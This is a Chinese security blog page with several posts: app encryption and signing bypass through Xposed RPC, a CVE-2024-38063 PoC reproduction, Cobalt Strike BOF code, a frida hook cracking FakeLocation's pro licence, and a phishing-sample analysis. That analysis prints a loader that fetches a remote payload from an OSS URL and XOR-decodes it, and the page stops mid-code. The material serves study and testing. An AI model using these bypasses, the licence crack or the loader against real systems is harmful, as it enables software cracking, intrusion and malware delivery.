跳到主要内容

初探360核晶

· 阅读需 5 分钟
声明

本文版权归原作者所有,转载请注明出处。

介绍

360 核晶是基于 CPU 嵌套虚拟化技术来绕过 Patch Guard 或 Kernel Patch Protection(内核修改保护,仅存在于 x64 位)的一项技术,使用这种技术,可用在 Windows x64 下对内核进行 Hook,从而达到更深层次的防护,Patch GuardWindows x64 下保护内核的一种方式,定期在内核检查代码完整性,如果被修改则直接蓝屏。

作用

查阅相关资料,发现核晶主要目的还是防御 360 ,也就是保护自己被干掉,网上也有说开启核晶之后部分样本执行某些操作时没有拦截,对主防影响不大,没有开启核晶时,经过测试,常规敏感操作都会拦截,如自启动项、计划任务、线程注入、APC 注入等。

我在看到网上很多人发视频标题"过 360 核晶上线",自己测试后发现核晶对于木马上线应该是没有什么影响的,纯纯标题党。

已对当前环境做自动兼容

以前 360 核晶出来不久时,如果 CPU 不支持嵌套虚拟化或未开启时,那么 360 会提示当前环境不兼容,如图所示:

而现在经过实验,360 在遇到这种情况时会告诉你已对当前环境做自动兼容,甚至部分系统开了 CPU 嵌套虚拟化,也会提示:

如果出现这种提示,则大概率核晶是未完全开启的,可能有部分功能失效,目前还不知道体现在哪。在网上查阅相关资料,看到帖子(https://bbs.kafan.cn/thread-1776407-1-1.html)中网友的描述:"64位系统任务管理器的关闭消息,使用微软标准接口是不能防御的。",说是利用这种方式可以判断核晶是否开启:能否使用任务管理器来结束 360 窗口。

根据该网友描述以及测试,任务管理器可以在首页也就是刚打开的时候对结束任务,这里的结束任务似乎是结束窗口:

如果没有开启核晶,打开 360 安全卫士的窗口,结束任务是可以直接关闭 360 安全卫士的界面的,但主防没有挂:

如果完全开启或者或者是显示"已对当前环境做自动兼容"(这里关闭了 CPU 嵌套虚拟化),经过测试,是无法关闭 360 安全卫士的界面的:

即使显示"已对当前环境做自动兼容"时,自身窗口也无法被关闭,看来在 CPU 嵌套虚拟化没有开启时 360 也使用了其他方式来阻止自身窗口被关闭。

我觉得在 360 核晶完全开启的情况下,即使是驱动级的进程结束,应该也能防住,毕竟核晶修改了 windows 内核来 Hook,结果使用火绒剑依旧能够在开启 360 核晶的情况下结束 360 全家桶,不得不说火绒剑是真的猛。

记一次使用 Xposed RPC 和 BurpGuard 应对金融APP参数签名及加密的详细过程

· 阅读需 18 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

在一次金融渗透测试项目中需要对 APP 进行渗透,发现 APP 对参数进行了签名以及加密,于是便逆向 APP 并通过 Xposed RPC 和 BurpGuard 解决了问题,从中学到了许多,因此记录过程并分享一下思路,代码和图片均做了脱敏处理,同时省略了代码调试的过程。

阅读完本文,你可以学习到:

  1. APP 请求逆向思路
  2. 如何查阅资料
  3. APP 请求签名和加密的原理
  4. 了解白盒 WbSM4
  5. Xposed RPC 的实现思路
  6. BurpGuard 如何使用

声明:本文不针对任何 APP,仅对加密及签名技术进行研究,如有侵权,请联系删除。

详细过程

测试环境:mumu 模拟器、MagiskLsposed

初探签名及加密

APP 的 HTTPS 验证就不阐述了,常规方式均可绕过。

查看请求包,发现了 MsgIdAppSign 以及密文 cTxt

584

修改 MsgId,返回 401,很明显做了请求签名:

加密分析

这里 APP 采用了爱加密企业版加固,于是使用 算法助手Plus + frida 脚本脱壳,使用 Jadx 反编译,搜索关键词,发现没搜到:

343

随后翻了翻,发现代码都抽空了,到 native 层去了?似乎是没脱完整:

327

求助某大佬帮忙脱了个壳,继续搜索关键词,找到两处,看到 ECB,莫非是常见的 AES-ECB 加密(心中窃喜):

735

跟进去:

继续跟 encryptECB

跟进:

最终来到 xxx.WbSM4Util$Companion 类的 encryptDataECB 方法:

这是对应的解密函数:

接着看看加密函数中的关键部分 WbSm4().encode(),这个函数传入的就是明文的字节对象和长度,并没有密钥相关,最后做了一层 Base64:

String encodeToString = Base64.encodeToString(new WbSm4().encode(bytes2.length, bytes2), 0, bytes2.length, 2);

跟进 WbSm4 一探究竟,发现是 native 的:

网上搜寻一下看看是什么,似乎是 SM4 国密:

问一下 GPT,白盒 SM4 是什么,看起来是很难复现的算法,密钥也很难提取,后续可能需要采用 RPC 远程调用 :

根据上面的代码分析简单画一个图:

签名分析

接下来看看签名,搜索签名关键词 appsign

跟进第一个的 WelfareTaskRequestService.APPSIGN,是个常量:

搜索常量名,看看哪一处使用了它,这里发现第二个是添加请求头,比较可疑:

跟进代码如下:

String uuid = UUID.randomUUID().toString();
Request.Builder addHeader = new Request.Builder().url(ServiceUrls.getAccessKeyListUrl(ServerInfoMgr.getInstance().getDefaultServerInfo(204))).addHeader(RemoteMessageConst.MSGID, uuid).addHeader("deviceId", SysConfigs.DEVICE_ID).addHeader("agent", "android-" + YBHelper.getAppVersionName()).addHeader(WelfareTaskRequestService.APPSIGN, HeaderUtils.generateAppSign(ServiceUrls.getAccessKeyListUrl(ServerInfoMgr.getInstance().getDefaultServerInfo(204)), uuid, HeaderUtils.requestBodyToString(create)));

分析上面代码可知,RemoteMessageConst.MSGID 是个字符串常量,值为"MsgId",而签名是由静态方法 HeaderUtils.generateAppSign(url,uuid.requestBody) 生成的,其中三个参数分别为:完整 URL、UUID、完整请求 Body,可以看出请求 body 与 msgidappsign 强相关,任何一个参数错误都可能导致请求不合法,以下是简单示意图:

Xposed RPC 实现

加密和签名都分析完毕,剩下的就是使用 RPC (远程过程调用)了,也就是注入代码,这里我用的是 Xposed 框架,没有检测,但 frida 有检测,过检测的方式参考下方公众号的文章(理论无脑过爱加密企业版),自己试了下确实可以:

https://mp.weixin.qq.com/s/34c5JVJzSCEfqlPanV1FtA

Xposed 的 RPC 不太熟悉,网上查阅资料,找到如下文章:

https://www.52pojie.cn/thread-1519322-1-1.html

发现使用 NanoHTTPD 在 APP 内部起一个 HTTP 服务器来与外部通信来实现 RPC 比较方便,写一个 demo,代码可以直接运行,会开启一个 50000 端口的 HTTP 服务器,开放 /encrypt 接口用于加密数据和生成签名,/decrypt 接口用于解密数据:

import com.google.gson.JsonObject;  
import fi.iki.elonen.NanoHTTPD;

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;

class HTTPServer extends NanoHTTPD {

public HTTPServer(int port) {
super(port);
}

@Override
public Response serve(IHTTPSession session) {
JsonObject responseJson = new JsonObject();
String encryptData = "";
String decryptData = "";
Map<String, String> map = new HashMap<>();
try {
session.parseBody(map);
} catch (Exception e) {
return newFixedLengthResponse(Response.Status.INTERNAL_ERROR, "text/plain", e.getMessage());
}
if (session.getMethod() == Method.POST) {
switch (session.getUri()) {
case "/encrypt":
responseJson.addProperty("encryptData", encryptData);
return newFixedLengthResponse(Response.Status.OK, "application/json", responseJson.toString());
case "/decrypt":
responseJson.addProperty("decryptData", decryptData);
return newFixedLengthResponse(Response.Status.OK, "application/json", responseJson.toString());
default:
return newFixedLengthResponse(Response.Status.NOT_FOUND, "text/plain", "Not Found");
}
} else {
return newFixedLengthResponse(Response.Status.NOT_FOUND, "text/plain", "Not Found");
}
}
}

public class Demo {
public static void main(String[] args) throws IOException {
HTTPServer httpServer = new HTTPServer(50000);
httpServer.start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
}

}

Xposed 模块使用的模板:https://github.com/yinsel/XposedProjectTemplate

完整 Xposed 代码实现如下(代码写的有点烂,勿喷):

package com.example.xposed;  

import android.util.Log;

import com.google.gson.JsonObject;
import com.google.gson.JsonParser;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;

import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.callbacks.XC_LoadPackage;
import fi.iki.elonen.NanoHTTPD;

public class Hooker implements IXposedHookLoadPackage {
private HTTPServer httpServer = new HTTPServer(50000);

@Override
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {
try {
Class<?> clazz = Class.forName("xxx.WbSM4Util$Companion", true, loadPackageParam.classLoader);
Method methods[] = clazz.getDeclaredMethods();
Constructor<?> constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Crypto crypto = new Crypto();
crypto.setClassLoader(loadPackageParam.classLoader);
crypto.setObject(constructor.newInstance());
for (int i = 0; i < methods.length; i++) {

if (methods[i].getName().equals("decryptDataECB")) {
methods[i].setAccessible(true);
crypto.setDecrypt(methods[i]);
}
if (methods[i].getName().equals("encryptDataECB")) {
methods[i].setAccessible(true);
crypto.setEncrypt(methods[i]);
}
}
if (crypto.getEncrypt() != null && crypto.getDecrypt() != null) {
this.httpServer.setCrypto(crypto);
startHttpServer();
}
} catch (Exception e) {
Log(e.toString());
}

}

private static void Log(String msg) {

Log.v("Xposed", msg);
}

private void startHttpServer() {
if (httpServer != null && httpServer.getCrypto() != null) {
new Thread(() -> {
try {
httpServer.start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
Log("HTTP Server started on port " + httpServer.getListeningPort());
} catch (IOException e) {
Log("Error starting HTTP Server: " + e.toString());
}
}).start();
}
}

public static class HTTPServer extends NanoHTTPD {

private Crypto crypto;

public HTTPServer(int port) {
super(port);
}

public Crypto getCrypto() {
return crypto;
}

public void setCrypto(Crypto crypto) {
this.crypto = crypto;
}


@Override
public Response serve(IHTTPSession session) {
JsonObject responseJson = new JsonObject();
JsonObject body = new JsonObject();
Map<String, String> map = new HashMap<>();
try {
session.parseBody(map);
String data;
if (session.getMethod() == Method.POST) {
body = JsonParser.parseString(map.get("postData")).getAsJsonObject();
switch (session.getUri()) {
case "/encrypt":
// 从BurpGuard拿到需要加密的数据data以及签名需要的url
data = body.get("data").getAsString();
String url = body.get("url").getAsString();
// 反射获取需要的方法
Class<?> headerUtil = Class.forName("xxx.HeaderUtils", false, crypto.getClassLoader());
java.lang.reflect.Method generateAppSign = headerUtil.getDeclaredMethod("generateAppSign", String.class, String.class, String.class);
generateAppSign.setAccessible(true);
// 对数据进行加密
String encryptData = this.crypto.getEncrypt().invoke(crypto.getObject(), data, false).toString();
JsonObject jsondata = new JsonObject();
jsondata.addProperty("cTxt", encryptData);
String uuid = UUID.randomUUID().toString();
// 获取参数签名
String appsign = generateAppSign.invoke(null, url, uuid, jsondata.toString()).toString();
// 添加签名至响应JSON
responseJson.addProperty("msgid", uuid);
responseJson.addProperty("appsign", appsign);
// 添加加密数据
responseJson.addProperty("encryptData", encryptData);
return newFixedLengthResponse(Response.Status.OK, "application/json", responseJson.toString());
case "/decrypt":
// 获取需要解密的数据
data = body.get("data").getAsString();
// 解密数据
String decryptData = this.crypto.getDecrypt().invoke(crypto.getObject(), data, false).toString();
responseJson.addProperty("decryptData", decryptData);
return newFixedLengthResponse(Response.Status.OK, "application/json", responseJson.toString());
default:

return newFixedLengthResponse(Response.Status.NOT_FOUND, "text/plain", "Not Found");
}
} else {
return newFixedLengthResponse(Response.Status.NOT_FOUND, "text/plain", "Not Found");
}
} catch (InvocationTargetException e) {
Log(e.getCause().fillInStackTrace().toString());
return newFixedLengthResponse(Response.Status.BAD_REQUEST, "text/plain", "Invalid JSON data");
} catch (Exception e) {
Log(e.getCause().fillInStackTrace().toString());
}
return newFixedLengthResponse(Response.Status.INTERNAL_ERROR, "text/plain", "Invalid Request");
}
}

}

连接 ADB 将模拟器端口转发出来:

adb forward tcp:50000 tcp:50000

测试 APP 内部的 HTTP 服务器是否启动,成功启动:

接口测试,这里使用的是 Reqable,测试解密接口:

测试加密接口,获取加密数据和签名,可以看到加密的数据一致:

尝试替换获取的签名并发送测试,成功:

BurpGuard 实现

BurpGuard 项目地址:https://github.com/yinsel/BurpGuard

这里画一个示意图以便分析和理解:

完整代码如下:

ClientProxyHandler:

from mitmproxy import http
from Utils.Crypto import *
import httpx
from base64 import b64encode,b64decode
from urllib.parse import quote,unquote
import json
import traceback

class ClientProxyHandler:
def __init__(self) -> None:
self.client = httpx.Client(timeout=None,verify=False)

# 处理来自客户端的请求,通常在这里对请求进行解密
def request(self,flow: http.HTTPFlow):
try:
req = flow.request # 获取请求对象
# 在这里编写你的代码
# ...
if req.method == "POST" and "json" in req.headers["Content-Type"] and "\"cTxt\"" in req.text:
json_data = req.json()
result = self.client.post("http://127.0.0.1:50000/decrypt", json={"data": json_data["cTxt"]}).json()
req.text = result["decryptData"]
# 标记数据包需要由BurpProxyHandler来加密
req.headers["burp"] = "1"
except Exception as e:
traceback.print_exception(e)
finally:
return flow

# 处理返回给客户端的响应,通常在这里对响应进行解密
def response(self,flow: http.HTTPFlow):
try:
req = flow.request # 获取请求对象
rsp = flow.response # 获取响应对象
# 在这里编写你的代码
# ...

except Exception as e:
traceback.print_exception(e)
finally:
return flow

addons = [ClientProxyHandler()]

BurpProxyHandler:

from mitmproxy import http
from Utils.Crypto import *
import httpx
from base64 import b64encode,b64decode
from urllib.parse import quote,unquote
import json
import traceback

class BurpProxyHandler:
def __init__(self) -> None:
self.client = httpx.Client(timeout=None,verify=False)

# 处理来自Burp的请求,通常在这里对请求进行加密
def request(self,flow: http.HTTPFlow):
try:
req = flow.request # 获取请求对象
# 在这里编写你的代码
# ...
# 判断数据包是否需要加密
if req.headers.get("burp"):
json_data = req.json()
result = self.client.post("http://127.0.0.1:50000/encrypt", json={"data": req.text,"url": req.url}).json()
# 去除json字符串空格
req.text = json.dumps({"cTxt": result["encryptData"]},separators=(',', ':'))
req.headers["msgid"] = result["msgid"]
req.headers["appsign"] = result["appsign"]
except Exception as e:
traceback.print_exception(e)
finally:
return flow

# 处理返回给Burp的响应,通常在这里对响应进行解密
def response(self,flow: http.HTTPFlow):
try:
req = flow.request # 获取请求对象
rsp = flow.response # 获取响应对象
# 在这里编写你的代码
# ...

except Exception as e:
traceback.print_exception(e)
finally:
return flow

addons = [BurpProxyHandler()]

最终效果

模拟器安装编写的 Xposed 模块,使用 Lsposed 激活并勾选 APP。

运行 BurpGuard,并配置模拟器 WIFI 代理为 8081,也就是让 APP 首先走 ClientProxyHandler,同时 Burp 配置上游代理为 8082:

python BurpGuard.py

在模拟器操作 APP,并使用 Burp 拦截,可以看到请求 body 已经解密:

230

发送至重发器,并尝试修改请求 body,这里加了个单引号,请求正常:

接下来就可以愉快的渗透啦!

CVE-2024-38063 漏洞复现

· 阅读需 4 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

漏洞POC已公开,根据公开的POC,尝试复现。本文将记录漏洞复现真实过程,包括出现的一些问题。

POC地址:https://github.com/ynwarcs/CVE-2024-38063

本文将以 Hyper-V 虚拟机为例(VMware过程类似),版本是 Windows 10 (10.0.19045),其他受影响版本复现过程应一致,尽可能与POC发布者复现过程一致,复现过程可能部分操作不涉及原理和解释,只做步骤记录。

漏洞复现

创建虚拟交换机,选择内部交换机,并填入名称,这里填入的是仅主机:

并将其添加至目标靶机的网络适配器中,并将安全启动关闭:

开启 Hyper-V 虚拟机,关闭防火墙,尝试ping,查看是否 IPv6 连通:

提取POC需要的信息:

  1. 攻击机适配器名称
  2. 目标机器的 IPv6 地址
  3. 目标机器的 MAC 地址

在本机执行 ipconfig查看适配器地址:

提取到适配器名称:vEthernet (仅主机)

在目标机器上执行 ipconfig /all

提取到物理地址(MAC):00:15:5d:82:01:06

提取到 IPv6地址:fe80::f802:8614:a39a:34d3,这里后面的%3去除。

将提取的信息填入POC开头部分:

iface='vEthernet (仅主机)'
ip_addr='fe80::f802:8614:a39a:34d3'
mac_addr='00:15:5D:82:01:06' # 注意将 '-' 替换为 ':'
num_tries=20
num_batches=20

执行POC,等待60s:

wireshark抓取 IPv6 数据包:

尝试多次,依旧失败,目标靶机并未蓝屏,根据POC描述,可能是数据包未合并,目标靶机适配器可能不支持,之后尝试内核调试。

内核调试官方文档:https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection-automatically

本机安装调试工具包,这里可以安装52pojie的:https://down.52pojie.cn/Tools/Debuggers/WinDbg_X64_v10.0.22621.2428.msi

安装完毕后,根据文档复制文件至靶机,在目标靶机并启动(以管理员运行cmd),其中 169.254.244.224 是本机地址也就是调试的机器:

复制红框部分,并在本机windbg目录执行:

在目标靶机执行shutdown -r -t 0重启等待开机,这里需要几分钟。

开机之后执行 ipconfig /all 查看 IPv6 和 MAC 地址:

此时适配器已变成 Microsoft Kernel Debug Network Adapter,也就是在内核模式下适配器变了。

在windbg中断点:

输入g,可以看到运行中:

填入POC:

iface='vEthernet (仅主机)'
ip_addr='fe80::449c:e10a:334f:62c89'
mac_addr='00:15:5D:82:01:06'
num_tries=20
num_batches=20

执行等待60s,最后一秒时 windbg 断住了:

输入kb

输入g

至此漏洞复现完毕!

初探 Cobalt Strike BOF

· 阅读需 3 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

本文参考了以下两篇文章:

https://cloud.tencent.com/developer/article/2428694

https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-3

BOF 代码基础

官方 BOF 模板:https://github.com/Cobalt-Strike/bof-vs

我看网上好像有不同版本的 BOF 模板,调用 API 时是这种形式:KERNEL32$XXX,在目前的官方模板中,如需调用 API,则需提前声明:DFR_LOCAL(KERNEL32, WinExec);

简单介绍下代码:

调用 API:

DFR_LOCAL(KERNEL32, WinExec);

在 beacon 中输出:

BeaconPrintf(CALLBACK_OUTPUT, "Hello BOF!");

解析命令行参数:

datap parser;
LPWSTR arg1;
LPWSTR arg2;
// ... LPWSTR argn;
// 初始化datap结构体变量(parser),用于解析从Beacon接收到的字节流(buff)
BeaconDataParse(&parser, args, len);
command = (LPWSTR)BeaconDataExtract(&parser, NULL);
BeaconPrintf(CALLBACK_OUTPUT, "arg1: %S", command);
BeaconPrintf(CALLBACK_OUTPUT, "arg2: %S", command);
// ...
// BeaconPrintf(CALLBACK_OUTPUT, "argn: %S", command);

有了上面这些基础,BOF 的编写就相对简单了。稍微更正一下,替换 go 函数即可:

void go(char* args, int len) {
/**
* Define the Dynamic Function Resolution declaration for the GetSystemDirectoryA function
* This time we use the DFR_LOCAL macro which create a local function pointer variable that
* points to GetSystemDirectoryA. Therefore, we do have to map GetSystemDirectoryA to
* KERNEL32$GetSystemDirectoryA
*/

DFR_LOCAL(USER32, MessageBoxW);


datap parser;

LPWSTR tips;
LPWSTR msg;

// 初始化datap结构体变量(parser),用于解析从Beacon接收到的字节流(buff)
BeaconDataParse(&parser, args, len);
tips = (LPWSTR)BeaconDataExtract(&parser, NULL);
msg = (LPWSTR)BeaconDataExtract(&parser, NULL);
BeaconPrintf(CALLBACK_OUTPUT, "tips: %S", tips);
BeaconPrintf(CALLBACK_OUTPUT, "msg: %S", msg);
MessageBoxW(0, msg, tips, 0);
}

有几个注意的点:

  1. 参数传递注意编码,需要使用 WCHAR,也就是 LPWSTR 宽字符,不然不能正确接收参数,猜测是编码问题。

  2. 尽量不要在栈上分配内存,会触发缓冲区溢出检查,导致链接一些 CRT 内置函数,BOF 没法执行。

  3. 调用一些函数时可能会阻塞,如 MessageBox,会影响 beacon 的运行。

再参考文章编写一个 cna 文件,用于 CS 加载:

beacon_command_register(
"msg",
"call MessageBoxW",
"usage: msg <tips> <msg>");

alias msg{
local('$handle $data $args');

$tips = $2;
$msg = $3;

if ($tips eq "" or $msg eq "") {
berror($1, "usage command: help msg");
return;
}

# 读入bof文件

$handle = openf(script_resource("msg.x64.o"));
$data = readb($handle, -1);
closef($handle);

# 打包参数两个ZZ代表两个参数
$args = bof_pack($1, "ZZ", $tips,$msg);

# 执行bof
# "go"BOF中的函数名,$args是传递给这个函数的参数
beacon_inline_execute($1, $data, "go", $args);
}

放在同一目录下,加载执行,测试一下效果:

|450

公开的常用 BOF

https://github.com/3as0n/cobaltstrike-bof-toolset

https://github.com/trustedsec/CS-Situational-Awareness-BOF

FakeLocation 逆向分析

· 阅读需 6 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

看到一篇文章:https://www.52pojie.cn/thread-1955462-1-1.html,是有关 FakeLocation 的逆向分析,以前大学的时候用这个软件还帮别人代跑呢,那时候一直用的别人的破解版,现在跟着 52 的师傅(以下称 mengxinb 师傅)来复现研究一下, 分享并记录以便提高动手能力。

脱壳

一直以来就采用的 360 加固,正常情况 360 加固在模拟器中会闪退,但因为很多人都在模拟器上跑步,因此作者可能加固的时候没开这个选项,所以也可以在模拟器中复现,但是我手机有 root 就直接开干吧。

|300

这里我采用软件君子(B 站主页:https://space.bilibili.com/638226254)视频中分析的 frida 脱壳脚本脱壳(不知道还能活多久),这种方式拖的比较全,前提是没有检测 frida 或者你能绕过,脚本如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7 1g(){2 1f=a.g(\'h.8\',\'M\');2 M=c i(1f,\'6\',[\'e\',\'6\']);2 15=a.g("h.8","11");2 11=c i(15,"6",["6","e","6"]);2 19=a.g(\'h.8\',\'w\');2 w=c i(19,\'6\',[\'6\']);2 4=y.K("/1u/1r/1s");2 9=M(4,0);3(9!=-1){2 U=y.1x(1b);2 W=11(9,U,1b);w(9);W=f(U).E();Z W}Z"-1"}7 u(4){2 16=a.g(\'h.8\',\'u\');2 u=c i(16,\'6\',[\'e\',\'6\']);2 14=a.g(\'h.8\',\'X\');2 X=c i(14,\'e\',[\'e\']);2 17=a.g(\'h.8\',\'T\');2 T=c i(17,\'6\',[\'e\']);2 q=y.K(4);2 V=X(q);3(V!=0){T(V);Z 0}u(q,1a);o(4)}7 o(4){2 18=a.g(\'h.8\',\'o\');2 o=c i(18,\'6\',[\'e\',\'6\']);2 q=y.K(4);o(q,1a)}7 G(){2 s=B.1G("s.8");2 p=k;2 O=s.1B();1A(2 x=0;x<O.1z;x++){2 v=O[x];2 m=v.1C;3(m.d("1F")>=0&&m.d("1m")>=0&&m.d("1E")>=0&&m.d("1D")>=0){n.l(m,v.1k);p=v.1k}}2 Q={};2 A=1;n.l("[1m:]",p);3(p){13.10(p,{12:7(j){2 N=j[5];2 t=f(N).1h(B.P).1L();2 Y=f(N).1h(B.P+B.P).1M();3(Q[t]==L){Q[t]=Y;2 1e=f(t).E();3(1e.d("H")==0){2 z=1g();3(z!="-1"){2 S="/1i/1i/"+z+"/1J/1N"+z;u(S);2 I=S+"/1I"+(A==1?"":A)+".H";n.l("[1K H]:",I);2 9=c 1H(I,"1o");3(9&&9!=k){A++;2 1l=f(t).1q(Y);9.1p(1l);9.1n();9.w();n.l("[1w H]:",I)}}}}},J:7(R){}})}}2 r=1v;7 1y(){13.10(a.1d(k,"1c"),{12:7(j){2 b=j[0];3(b!==L&&b!=k){2 4=f(b).E();3(4.d("s.8")>=0){D.C=F;n.l("[1c:]",4)}}},J:7(R){3(D.C&&!r){G();r=F}}});13.10(a.1d(k,"1j"),{12:7(j){2 b=j[0];3(b!==L&&b!=k){2 4=f(b).E();3(4.d("s.8")>=0){D.C=F;n.l("[1j:]",4)}}},J:7(R){3(D.C&&!r){G();r=F}}})}1t(G);',62,112,'||var|if|path||int|function|so|fd|Module|pathptr|new|indexOf|pointer|ptr|getExportByName|libc|NativeFunction|args|null|log|symbol_name|console|chmod|addr_DefineClass|cPath|is_hook_libart|libart|base|mkdir|symbol|close|index|Memory|process_name|dex_count|Process|can_hook_libart|this|readCString|true|dump_dex|dex|dex_path|onLeave|allocUtf8String|undefined|open|dex_file|symbols|pointerSize|dex_maps|retval|dex_dir_path|closedir|buffer|dir|result|opendir|size|return|attach|read|onEnter|Interceptor|opendirPtr|readPtr|mkdirPtr|closedirPtr|chmodPtr|closePtr|755|0x1000|dlopen|findExportByName|magic|openPtr|get_self_process_name|add|data|android_dlopen_ext|address|dex_buffer|DefineClass|flush|wb|write|readByteArray|self|cmdline|setImmediate|proc|false|dump|alloc|hook_dlopen|length|for|enumerateSymbols|name|DexFile|Thread|ClassLinker|findModuleByName|File|class|files|find|readPointer|readUInt|dump_dex_'.split('|'),0,{}))

具体原理我也没研究,先用着,使用算法助手进行导入脚本进行脱壳:

|400

启用并打开应用,显示注入成功,这个时候就已经脱完了:

|225

脱壳的 dex 在 /data/data/<包名>/files/dump_dex_<包名> 下,也就是 /data/data/com.lerist.fakelocation/files/dump_dex_com.lerist.fakelocation

|300

打包成 zip 文件,用 jadx 打开,为后续逆向分析做准备:

|350

控件跟踪

使用专业版功能时(如路线模拟),会出现需要专业版的提示。

|300

根据 mengxinb 师傅的思路,使用算法助手去尝试打印控件的堆栈信息,去追踪判断专业版的逻辑。

|300

启动软件,首先点击路线模拟,然后点击启动模拟,会出现专业版弹窗提示:

|175

查看算法助手日志,搜索关键词专业版,随便点击一个查看详情:

|275

可以看到有一个 onClick 方法,也就是点击启动模拟的时候回调,软件肯定需要判断你是不是专业版,按照这个逻辑,我们先追踪一下它的后面一个方法,也就是图中的方法,长按复制整行:

|325

jadx 中搜索方法名:

|350

可以看到方法名为 m9662,因为软件带了混淆,jadx 默认就开启了反混淆将一些难以阅读的变量和方法名重命名了,看起来没那么难读,这些并不是真实在软件中的方法名。

这个时候用同样的方式搜索 onClick 方法并点击进入,可以看到红框部分的判断:

|375

代码如下:

if (!C1834.m9387()) {
C2263.m9662(c24082.getView(), -2);
return;
}

Frida Hook

其中 m9662 方法是未开通专业版时才调用,因此反过来开通了专业版则不会调用该方法,将 C1834.m9387() 的返回值改为 True,使用 frida 进行 Hook:

function hook() {
Java.perform(()=>{
let C1834 = Java.use("\u0781.\u0783.\u0620.\u0620.\u058F");
C1834["\u0785"].implementation = function () {
console.log(`C1834.m9387 is called`);
let result = this["\u0785"]();
console.log(`C1834.m9387 result=${result}`);
result = true
return result;
};
})
}

setTimeout(hook,1000);

成功绕过专业版功能限制:

|300

双向证书验证

Mengxinb 师傅还分析了如何通过分析网络请求来绕过专业版功能限制,但Fakelocation 使用了双向证书来校验,mengxinb 师傅使用的是手动分析,而我一般首先习惯使用大佬们的脚本。

使用 r0capture 脚本 dump 证书

一把梭:

python r0capture.py -H 127.0.0.1:28042 -f com.lerist.fakelocation

|500

脚本默认开启 dump 证书:

打开并使用 XCA 导入搞定:

致谢

感谢大佬们开发的工具及脚本:

https://mp.weixin.qq.com/s/JPzjpQ3ZoY7cd5K1ZywTZA

https://github.com/r0ysue/r0capture

mengxinb 师傅的文章:

https://www.52pojie.cn/thread-1955462-1-1.html

软件君子主页:

https://space.bilibili.com/638226254

记录自己的第一次红队钓鱼样本分析

· 阅读需 11 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

HVV 遇到了邮件钓鱼,有个样本挺有趣,自己又没分析过样本,于是便想尝试分析一下,并记录下来,同时学习一下红队大佬们的思路,大佬勿喷,讲的比较啰嗦。

详细分析过程

尝试上线分析流量

先尝试上线看看流量,这里我用 proxifier 强制走 Reqable 分析一下流量:

|575

使用了阿里CDN,有点像 CS 的流量:

|600

|450

查一下域名,好家伙还是备案的:

|525

估计用了域前置(我也想用啊 QAQ),话不多说,开始分析!

分析上线流程

样本是一个压缩包,解压后包含一个快捷方式以及一个文件夹:

解压后:

文件夹的内容:

|425

这一看就是打包的一个 python 环境,并且是 embed 版本,可以在这里找到对应的版本下载:

https://www.python.org/ftp/python/

接着查看快捷方式属性:

|300

这种快捷方式我见的比较少,他利用了 ftp 来执行系统命令,通过执行-s 参数执行 WeChatWin.dll 文件内的 ftp 命令。

查阅资料后,可以得知 ftp 有个特性,可以直接使用 ! 执行系统命令,这我还是第一次知道,太冷门了(红队真狡猾啊),并且还可以使用 -s:<文件> 可以运行文件中的 ftp 命令,这里还使用了 -""s:<文件> 来绕过火绒,在 cmd 中执行命令时空白字符的双引号会被忽略。

有了这个基础,接下来我们看看 WeChatWin.dll 里是啥:

|400

不出所料,使用了 ftp 的 ! 来执行系统命令,start /b 代表以后台模式启动一个程序,分析得知,它使用了 pythonw.exe 来执行 main.pyw, pythonw.exepython 的无窗口版本,然后又打开了一个 word 文档来迷惑受害者,并且它还是加密的文档,正常人遇到加密的肯定想着寻找密码,可以拖延时间,其中 bye 用于结束 ftp 命令,避免出现黑窗口引起怀疑。

继续查看一下 main.pyw :

|318

导入了一个模块,同目录下还有一个 action.py,是一个混淆的 python 脚本,猜测是在这里混淆的:

https://pyob.oxyry.com/ ,代码如下:

import ast 
import pickle
import ctypes ,urllib .request ,codecs ,base64
import sys ,ssl
ssl ._create_default_https_context =ssl ._create_unverified_context
OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB').read ()
def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
return bytes (O0OO000OO0OOO0O00 )
def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
O0O0OO0O0OO0O00OO =""
for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
